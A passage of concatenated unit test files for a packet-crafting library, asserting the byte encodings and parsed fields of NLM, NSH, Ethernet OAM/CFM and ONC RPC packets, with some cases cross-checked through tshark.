fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = GRANTED_RES_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_BLOCKED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x03' pkt = CANCEL_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), block='YES', exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = TEST_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' = NLM Replies vs Raw Strings pkt = SHARE_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED', sequence=1 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01' pkt = UNSHARE_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED', sequence=1 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01' pkt = LOCK_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = UNLOCK_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = CANCEL_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = TEST_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' ================================================ FILE: test/contrib/nsh.uts ================================================ + Basic Layer Tests = Build a NSH over NSH packet with SPI=42, and SI=1 raw(NSH(spi=42, si=1)/NSH()) == b'\x0f\xc6\x01\x04\x00\x00*\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Build a NSH with Fixed context headers raw(NSH(ttl=25, spi=55, si=34, context_header=b"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff")) == b'\x06F\x01\x03\x00\x007"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff' = Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x89O\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Build a NSH over GRE packet, and verify GRE Bindings raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/IP(src="1.1.1.1", dst="2.2.2.2")/GRE()/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x08\x00E\x00\x00Z\x00\x01\x00\x00@/to\x01\x01\x01\x01\x02\x02\x02\x02\x00\x00\x89O\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = 0 length variable length context header NSH raw(NSH(mdtype=2, spi=0xF0F0F0, si=0xFF)) == b'\x0f\xc2\x02\x03\xf0\xf0\xf0\xff' = Build a NSH over VXLAN packet and verify bindings raw(Ether(dst='0c:42:a1:5f:fb:e0', src='b8:59:9f:cd:de:3e')/IPv6(src='::1', dst='::2')/UDP(sport=10, dport=8472)/VXLAN(NextProtocol=4, vni=4660)/NSH()/NSH()/Ether(dst='0c:42:a1:5f:fb:e4', src='b8:59:9f:cd:de:33')/IP(src='10.200.100.10', dst='2.2.2.3')/TCP(sport=123, dport=333)) == b'\x0cB\xa1_\xfb\xe0\xb8Y\x9f\xcd\xde>\x86\xdd`\x00\x00\x00\x00v\x11@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\n!\x18\x00v\x05F\x0c\x00\x00\x04\x00\x124\x00\x0f\xc6\x01\x04\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0cB\xa1_\xfb\xe4\xb8Y\x9f\xcd\xde3\x08\x00E\x00\x00(\x00\x01\x00\x00@\x06\x07\xf9\n\xc8d\n\x02\x02\x02\x03\x00{\x01M\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x1bD\x00\x00' ================================================ FILE: test/contrib/oam.uts ================================================ # OAM unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('oam')" -t test/contrib/oam.uts + TLV = Generic TLV pkt = OAM_TLV(raw(OAM_TLV()/Raw(b'123'))) assert pkt.type == 1 assert pkt.length == 3 = Data TLV pkt = OAM_DATA_TLV(raw(OAM_DATA_TLV()/Raw(b'123'))) assert pkt.type == 3 assert pkt.length == 3 = Test TLV from binascii import crc32 pkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type="Null signal without CRC-32")/Raw(b'123'))) assert pkt.type == 32 assert pkt.length == 4 assert raw(pkt.payload) == b'123' pkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type="Null signal with CRC-32")/Raw(b'123'))) assert pkt.type == 32 assert pkt.length == 8 assert pkt.crc == crc32(raw(pkt)[:-4]) % (1 << 32) assert pkt.crc == 0xad147086 assert raw(pkt.payload) == b'123' pkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 without CRC-32")/Raw(b'123'))) assert pkt.type == 32 assert pkt.length == 4 assert raw(pkt.payload) == b'123' pkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 with CRC-32")/Raw(b'123'))) assert pkt.type == 32 assert pkt.length == 8 assert pkt.crc == crc32(raw(pkt)[:-4]) % (1 << 32) assert pkt.crc == 0x71db80d assert raw(pkt.payload) == b'123' = LTM TLV pkt = OAM_LTM_TLV(raw(OAM_LTM_TLV(egress_id=3)/Raw(b'123'))) assert pkt.type == 7 assert pkt.length == 8 assert pkt.egress_id == 3 = LTR TLV pkt = OAM_LTR_TLV(raw(OAM_LTR_TLV(last_egress_id=2, next_egress_id=4)/Raw(b'123'))) assert pkt.type == 8 assert pkt.length == 16 assert pkt.last_egress_id == 2 assert pkt.next_egress_id == 4 = LTR IG TLV pkt = OAM_LTR_IG_TLV(raw(OAM_LTR_IG_TLV(ingress_act=2, ingress_mac="00:11:22:33:44:55")/Raw(b'123'))) assert pkt.type == 5 assert pkt.length == 7 assert pkt.ingress_act == 2 assert pkt.ingress_mac == "00:11:22:33:44:55" = LTR EG TLV pkt = OAM_LTR_EG_TLV(raw(OAM_LTR_EG_TLV(egress_act=2, egress_mac="00:11:22:33:44:55")/Raw(b'123'))) assert pkt.type == 6 assert pkt.length == 7 assert pkt.egress_act == 2 assert pkt.egress_mac == "00:11:22:33:44:55" = TEST ID TLV pkt = OAM_TEST_ID_TLV(raw(OAM_TEST_ID_TLV(test_id=1)/Raw(b'123'))) assert pkt.type == 36 assert pkt.length == 32 assert pkt.test_id == 1 = PTP TIMESTAMP pkt = PTP_TIMESTAMP(raw(PTP_TIMESTAMP(seconds=5, nanoseconds=10)/Raw(b'123'))) assert pkt.seconds == 5 assert pkt.nanoseconds == 10 = APS pkt = APS(raw(APS(req_st="Wait-to-restore (WTR)", prot_type="D+A", req_sig="Normal traffic", br_sig="Normal traffic", br_type="T")/Raw(b'123'))) assert pkt.req_st == 0b0101 assert pkt.prot_type == 0b1010 assert pkt.req_sig == 1 assert pkt.br_sig == 1 assert pkt.br_type == 0b10000000 = RAPS pkt = RAPS(raw(RAPS(req_st="Signal fail(SF)", status="RB+BPR", node_id="00:11:22:33:44:55")/Raw(b'123'))) assert pkt.req_st == 0b1011 assert pkt.sub_code == 0b0000 assert pkt.status == 0b10100000 assert pkt.node_id == "00:11:22:33:44:55" + MEG ID = MEG ID pkt = MegId(raw(MegId(format=1, values=int(0xdeadbeef)))) assert pkt.format == 1 # FIXME: make compatible with python2 # assert pkt.values.to_bytes(45, "little")[-4:] == b"\xde\xad\xbe\xef" assert pkt.length == 45 assert len(raw(pkt)) == 48 = MEG ICC ID pkt = MegId(raw(MegId(format=32, values=list(range(13))))) assert pkt.format == 32 assert pkt.values == list(range(13)) assert pkt.length == 13 assert len(raw(pkt)) == 48 = MEG ICC and CC ID pkt = MegId(raw(MegId(format=33, values=list(range(15))))) assert pkt.format == 33 assert pkt.values == list(range(15)) assert pkt.length == 15 assert len(raw(pkt)) == 48 + OAM ~ tshark = Define check_tshark function def check_tshark(pkt, string): import tempfile, os fd, pcapfilename = tempfile.mkstemp() wrpcap(pcapfilename, pkt) rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'cfm'], dump=True, wait=True) assert string in rv.decode("utf8") os.close(fd) os.unlink(pcapfilename) = CCM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Continuity Check Message (CCM)", flags="RDI", period="Trans Int 10s", mep_id=0xffff, meg_id=MegId(format=32, values=list(range(13))), txfcf=1, rxfcb=2, txfcb=3))) assert pkt[OAM].opcode == 1 assert pkt[OAM].period == 5 assert pkt[OAM].tlv_offset == 70 assert pkt[OAM].flags.RDI == True assert pkt[OAM].flags == 1<<4 assert pkt[OAM].mep_id == 0xffff assert pkt[OAM].meg_id.format == 32 assert pkt[OAM].meg_id.length == 13 assert pkt[OAM].meg_id.values == list(range(13)) assert pkt[OAM].txfcf == 1 assert pkt[OAM].rxfcb == 2 assert pkt[OAM].txfcb == 3 check_tshark(pkt, "(CCM)") = LBM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Loopback Message (LBM)", seq_num=33, tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456'), OAM_DATA_TLV()/Raw(b'789')]))) assert pkt[OAM].opcode == 3 assert pkt[OAM].tlv_offset == 4 assert pkt[OAM].seq_num == 33 for i in range(3): assert pkt[OAM].tlvs[i].type == 3 assert pkt[OAM].tlvs[i].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert raw(pkt[OAM].tlvs[1].payload) == b'456' assert raw(pkt[OAM].tlvs[2].payload) == b'789' check_tshark(pkt, "(LBM)") = LTM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Linktrace Message (LTM)", trans_id=12, ttl=21, flags="HWonly", orig_mac="12:34:56:78:90:11", targ_mac="12:34:56:78:90:22", tlvs=[OAM_LTM_TLV(egress_id=12)]))) assert pkt[OAM].opcode == 5 assert pkt[OAM].tlv_offset == 17 assert pkt[OAM].ttl == 21 assert pkt[OAM].flags.HWonly == True assert pkt[OAM].flags == 1<<7 assert pkt[OAM].orig_mac == "12:34:56:78:90:11" assert pkt[OAM].targ_mac == "12:34:56:78:90:22" assert pkt[OAM].tlvs[0].type == 7 assert pkt[OAM].tlvs[0].length == 8 assert pkt[OAM].tlvs[0].egress_id == 12 check_tshark(pkt, "(LTM)") = LTR pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Linktrace Reply (LTR)", trans_id=21, ttl=12, flags="HWonly+TerminalMEP", relay_act=8, tlvs=[OAM_LTR_TLV(last_egress_id=1, next_egress_id=2), OAM_LTR_TLV(last_egress_id=3, next_egress_id=4), OAM_LTR_IG_TLV(ingress_act=1, ingress_mac="12:34:56:78:90:11"), OAM_LTR_IG_TLV(ingress_act=6, ingress_mac="12:34:56:78:90:22"), OAM_LTR_EG_TLV(egress_act=2, egress_mac="12:34:56:78:90:33"), OAM_LTR_EG_TLV(egress_act=3, egress_mac="12:34:56:78:90:44")]))) assert pkt[OAM].opcode == 4 assert pkt[OAM].tlv_offset == 6 assert pkt[OAM].ttl == 12 assert pkt[OAM].flags.HWonly == True assert pkt[OAM].flags.FwdYes == False assert pkt[OAM].flags.TerminalMEP == True assert pkt[OAM].flags == (1<<7) | (1<<5) assert pkt[OAM].relay_act == 8 assert pkt[OAM].tlvs[0].type == 8 assert pkt[OAM].tlvs[0].length == 16 assert pkt[OAM].tlvs[0].last_egress_id == 1 assert pkt[OAM].tlvs[0].next_egress_id == 2 assert pkt[OAM].tlvs[1].type == 8 assert pkt[OAM].tlvs[1].length == 16 assert pkt[OAM].tlvs[1].last_egress_id == 3 assert pkt[OAM].tlvs[1].next_egress_id == 4 assert pkt[OAM].tlvs[2].type == 5 assert pkt[OAM].tlvs[2].length == 7 assert pkt[OAM].tlvs[2].ingress_act == 1 assert pkt[OAM].tlvs[2].ingress_mac == "12:34:56:78:90:11" assert pkt[OAM].tlvs[3].type == 5 assert pkt[OAM].tlvs[3].length == 7 assert pkt[OAM].tlvs[3].ingress_act == 6 assert pkt[OAM].tlvs[3].ingress_mac == "12:34:56:78:90:22" assert pkt[OAM].tlvs[4].type == 6 assert pkt[OAM].tlvs[4].length == 7 assert pkt[OAM].tlvs[4].egress_act == 2 assert pkt[OAM].tlvs[4].egress_mac == "12:34:56:78:90:33" assert pkt[OAM].tlvs[5].type == 6 assert pkt[OAM].tlvs[5].length == 7 assert pkt[OAM].tlvs[5].egress_act == 3 assert pkt[OAM].tlvs[5].egress_mac == "12:34:56:78:90:44" check_tshark(pkt, "(LTR)") = AIS pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Alarm Indication Signal (AIS)", period="1 frame per second"))) assert pkt[OAM].opcode == 33 assert pkt[OAM].tlv_offset == 0 assert pkt[OAM].period == 0b100 check_tshark(pkt, "(AIS)") = LCK pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Lock Signal (LCK)", period="1 frame per second"))) assert pkt[OAM].opcode == 35 assert pkt[OAM].tlv_offset == 0 assert pkt[OAM].period == 0b100 check_tshark(pkt, "(LCK)") = TST pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Test Signal (TST)", seq_num=15, tlvs=[OAM_TEST_TLV(pat_type="Null signal without CRC-32")/Raw(b'123'), OAM_TEST_TLV(pat_type="Null signal without CRC-32")/Raw(b'23456'), OAM_TEST_TLV(pat_type="Null signal with CRC-32")/Raw(b'123'), OAM_TEST_TLV(pat_type="Null signal with CRC-32")/Raw(b'23456'), OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 without CRC-32")/Raw(b'123'), OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 without CRC-32")/Raw(b'23456'), OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 with CRC-32")/Raw(b'123'), OAM_TEST_TLV(pat_type="PRBS 2^-31 - 1 with CRC-32")/Raw(b'23456')]))) assert pkt[OAM].opcode == 37 assert pkt[OAM].tlv_offset == 4 assert pkt[OAM].seq_num == 15 assert pkt[OAM].tlvs[0].type == 32 assert pkt[OAM].tlvs[0].length == 4 assert pkt[OAM].tlvs[0].pat_type == 0 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 32 assert pkt[OAM].tlvs[1].length == 6 assert pkt[OAM].tlvs[1].pat_type == 0 assert raw(pkt[OAM].tlvs[1].payload) == b'23456' assert pkt[OAM].tlvs[2].type == 32 assert pkt[OAM].tlvs[2].length == 8 assert pkt[OAM].tlvs[2].pat_type == 1 assert raw(pkt[OAM].tlvs[2].payload) == b'123' assert pkt[OAM].tlvs[2].crc == crc32(raw(pkt[OAM].tlvs[2])[:-4]) % (1 << 32) assert pkt[OAM].tlvs[3].type == 32 assert pkt[OAM].tlvs[3].length == 10 assert pkt[OAM].tlvs[3].pat_type == 1 assert raw(pkt[OAM].tlvs[3].payload) == b'23456' assert pkt[OAM].tlvs[3].crc == crc32(raw(pkt[OAM].tlvs[3])[:-4]) % (1 << 32) assert pkt[OAM].tlvs[4].type == 32 assert pkt[OAM].tlvs[4].length == 4 assert pkt[OAM].tlvs[4].pat_type == 2 assert raw(pkt[OAM].tlvs[4].payload) == b'123' assert pkt[OAM].tlvs[5].type == 32 assert pkt[OAM].tlvs[5].length == 6 assert pkt[OAM].tlvs[5].pat_type == 2 assert raw(pkt[OAM].tlvs[5].payload) == b'23456' assert pkt[OAM].tlvs[6].type == 32 assert pkt[OAM].tlvs[6].length == 8 assert pkt[OAM].tlvs[6].pat_type == 3 assert raw(pkt[OAM].tlvs[6].payload) == b'123' assert pkt[OAM].tlvs[6].crc == crc32(raw(pkt[OAM].tlvs[6])[:-4]) % (1 << 32) assert pkt[OAM].tlvs[7].type == 32 assert pkt[OAM].tlvs[7].length == 10 assert pkt[OAM].tlvs[7].pat_type == 3 assert raw(pkt[OAM].tlvs[7].payload) == b'23456' assert pkt[OAM].tlvs[7].crc == crc32(raw(pkt[OAM].tlvs[7])[:-4]) % (1 << 32) check_tshark(pkt, "(TST)") = APS pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Automatic Protection Switching (APS)", aps=APS(req_st="Forced switch (FS)", prot_type="A+B+R", req_sig="Normal traffic", br_sig="Null signal", br_type="T")))) assert pkt[OAM].opcode == 39 assert pkt[APS].req_st == 0b1101 assert pkt[APS].prot_type.A == True assert pkt[APS].prot_type.B == True assert pkt[APS].prot_type.R == True assert pkt[APS].prot_type == 0b1101 assert pkt[APS].req_sig == 1 assert pkt[APS].br_sig == 0 assert pkt[APS].br_type.T == True assert pkt[APS].br_type == (1 << 7) check_tshark(pkt, "(APS)") = RAPS pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Ring-Automatic Protection Switching (R-APS)", raps=RAPS(req_st="Event", sub_code="Flush", status="RB+BPR", node_id="12:12:12:23:23:23")))) assert pkt[OAM].opcode == 40 assert pkt[RAPS].req_st == 0b1110 assert pkt[RAPS].sub_code == 0b0000 assert pkt[RAPS].status.RB == True assert pkt[RAPS].status.DNF == False assert pkt[RAPS].status.BPR == True assert pkt[RAPS].status == (1 << 7) | (1 << 5) assert pkt[RAPS].node_id == "12:12:12:23:23:23" check_tshark(pkt, "(R-APS)") = MCC pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Maintenance Communication Channel (MCC)", oui=12, subopcode=2))) assert pkt[OAM].opcode == 41 assert pkt[OAM].oui == 12 assert pkt[OAM].subopcode == 2 check_tshark(pkt, "(MCC)") = LMM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Loss Measurement Message (LMM)", flags="Proactive", txfcf=1, rxfcf=2, txfcb=3))) assert pkt[OAM].opcode == 43 assert pkt[OAM].version == 1 assert pkt[OAM].tlv_offset == 12 assert pkt[OAM].flags == 1 assert pkt[OAM].flags.Proactive == True assert pkt[OAM].txfcf == 1 assert pkt[OAM].rxfcf == 2 assert pkt[OAM].txfcb == 3 check_tshark(pkt, "(LMM)") = LMR pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Loss Measurement Reply (LMR)", txfcf=1, rxfcf=2, txfcb=3))) assert pkt[OAM].opcode == 42 assert pkt[OAM].txfcf == 1 assert pkt[OAM].rxfcf == 2 assert pkt[OAM].txfcb == 3 check_tshark(pkt, "(LMR)") = 1DM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="One Way Delay Measurement (1DM)", txtsf=PTP_TIMESTAMP(seconds=1, nanoseconds=2), rxtsf=PTP_TIMESTAMP(seconds=3, nanoseconds=4), tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456789'), OAM_TEST_ID_TLV(test_id=5)]))) assert pkt[OAM].opcode == 45 assert pkt[OAM].version == 1 assert pkt[OAM].tlv_offset == 16 assert pkt[OAM].txtsf.seconds == 1 assert pkt[OAM].txtsf.nanoseconds == 2 assert pkt[OAM].rxtsf.seconds == 3 assert pkt[OAM].rxtsf.nanoseconds == 4 assert pkt[OAM].tlvs[0].type == 3 assert pkt[OAM].tlvs[0].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 3 assert pkt[OAM].tlvs[1].length == 6 assert raw(pkt[OAM].tlvs[1].payload) == b'456789' assert pkt[OAM].tlvs[2].type == 36 assert pkt[OAM].tlvs[2].length == 32 assert pkt[OAM].tlvs[2].test_id == 5 # FIXME: for some reason wireshark does not like OAM_TEST_ID_TLV here check_tshark(pkt, "(1DM)") = DMM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Delay Measurement Message (DMM)", txtsf=PTP_TIMESTAMP(seconds=1, nanoseconds=2), txtsb=PTP_TIMESTAMP(seconds=2, nanoseconds=1), rxtsf=PTP_TIMESTAMP(seconds=3, nanoseconds=4), rxtsb=PTP_TIMESTAMP(seconds=6, nanoseconds=5), tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456789'), OAM_TEST_ID_TLV(test_id=5)]))) assert pkt[OAM].opcode == 47 assert pkt[OAM].version == 1 assert pkt[OAM].tlv_offset == 32 assert pkt[OAM].txtsf.seconds == 1 assert pkt[OAM].txtsf.nanoseconds == 2 assert pkt[OAM].rxtsf.seconds == 3 assert pkt[OAM].rxtsf.nanoseconds == 4 assert pkt[OAM].txtsb.seconds == 2 assert pkt[OAM].txtsb.nanoseconds == 1 assert pkt[OAM].rxtsb.seconds == 6 assert pkt[OAM].rxtsb.nanoseconds == 5 assert pkt[OAM].tlvs[0].type == 3 assert pkt[OAM].tlvs[0].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 3 assert pkt[OAM].tlvs[1].length == 6 assert raw(pkt[OAM].tlvs[1].payload) == b'456789' assert pkt[OAM].tlvs[2].type == 36 assert pkt[OAM].tlvs[2].length == 32 assert pkt[OAM].tlvs[2].test_id == 5 # FIXME: for some reason wireshark does not like OAM_TEST_ID_TLV here check_tshark(pkt, "(DMM)") = EXM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Experimental OAM Message (EXM)", oui=123, subopcode=33))) assert pkt[OAM].opcode == 49 assert pkt[OAM].oui == 123 assert pkt[OAM].subopcode == 33 check_tshark(pkt, "(EXM)") = EXR pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Experimental OAM Reply (EXR)", oui=123, subopcode=33))) assert pkt[OAM].opcode == 48 assert pkt[OAM].oui == 123 assert pkt[OAM].subopcode == 33 check_tshark(pkt, "(EXR)") = VSM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Vendor Specific Message (VSM)", oui=123, subopcode=33))) assert pkt[OAM].opcode == 51 assert pkt[OAM].oui == 123 assert pkt[OAM].subopcode == 33 check_tshark(pkt, "(VSM)") = CSF pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Client Signal Fail (CSF)", flags="RDI", period="1 frame per minute"))) assert pkt[OAM].opcode == 52 assert pkt[OAM].tlv_offset == 0 assert pkt[OAM].flags == 0b010 assert pkt[OAM].period == 0b110 check_tshark(pkt, "(CSF)") = SLM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Synthetic Loss Message (SLM)", test_id=11, src_mep_id=12, rcv_mep_id=34, txfcf=3, txfcb=9, tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456789')]))) assert pkt[OAM].opcode == 55 assert pkt[OAM].tlv_offset == 16 assert pkt[OAM].test_id == 11 assert pkt[OAM].src_mep_id == 12 assert pkt[OAM].rcv_mep_id == 34 assert pkt[OAM].txfcf == 3 assert pkt[OAM].txfcb == 9 assert pkt[OAM].tlvs[0].type == 3 assert pkt[OAM].tlvs[0].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 3 assert pkt[OAM].tlvs[1].length == 6 assert raw(pkt[OAM].tlvs[1].payload) == b'456789' check_tshark(pkt, "(SLM)") = SLR pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Synthetic Loss Reply (SLR)", test_id=11, src_mep_id=12, rcv_mep_id=34, txfcf=3, txfcb=9, tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456789')]))) assert pkt[OAM].opcode == 54 assert pkt[OAM].tlv_offset == 16 assert pkt[OAM].test_id == 11 assert pkt[OAM].src_mep_id == 12 assert pkt[OAM].rcv_mep_id == 34 assert pkt[OAM].txfcf == 3 assert pkt[OAM].txfcb == 9 assert pkt[OAM].tlvs[0].type == 3 assert pkt[OAM].tlvs[0].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 3 assert pkt[OAM].tlvs[1].length == 6 assert raw(pkt[OAM].tlvs[1].payload) == b'456789' check_tshark(pkt, "(SLR)") = 1SL pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="One Way Synthetic Loss Measurement (1SL)", test_id=11, src_mep_id=12, txfcf=3, tlvs=[OAM_DATA_TLV()/Raw(b'123'), OAM_DATA_TLV()/Raw(b'456789')]))) assert pkt[OAM].opcode == 53 assert pkt[OAM].tlv_offset == 16 assert pkt[OAM].test_id == 11 assert pkt[OAM].src_mep_id == 12 assert pkt[OAM].txfcf == 3 assert pkt[OAM].tlvs[0].type == 3 assert pkt[OAM].tlvs[0].length == 3 assert raw(pkt[OAM].tlvs[0].payload) == b'123' assert pkt[OAM].tlvs[1].type == 3 assert pkt[OAM].tlvs[1].length == 6 assert raw(pkt[OAM].tlvs[1].payload) == b'456789' check_tshark(pkt, "(1SL)") = GNM pkt = Ether(raw(Ether(dst="00:11:22:33:44:55")/Dot1Q()/ OAM(opcode="Generic Notification Message (GNM)", period="1 frame per minute", nom_bdw=1, curr_bdw=2, port_id=3))) assert pkt[OAM].opcode == 32 assert pkt[OAM].tlv_offset == 13 assert pkt[OAM].period == 0b110 assert pkt[OAM].subopcode == 1 assert pkt[OAM].nom_bdw == 1 assert pkt[OAM].curr_bdw == 2 assert pkt[OAM].port_id == 3 check_tshark(pkt, "(GNM)") ================================================ FILE: test/contrib/oncrpc.uts ================================================ % Tests for oncrpc module ############ ############ + Packet Creation Tests = Create subpackets 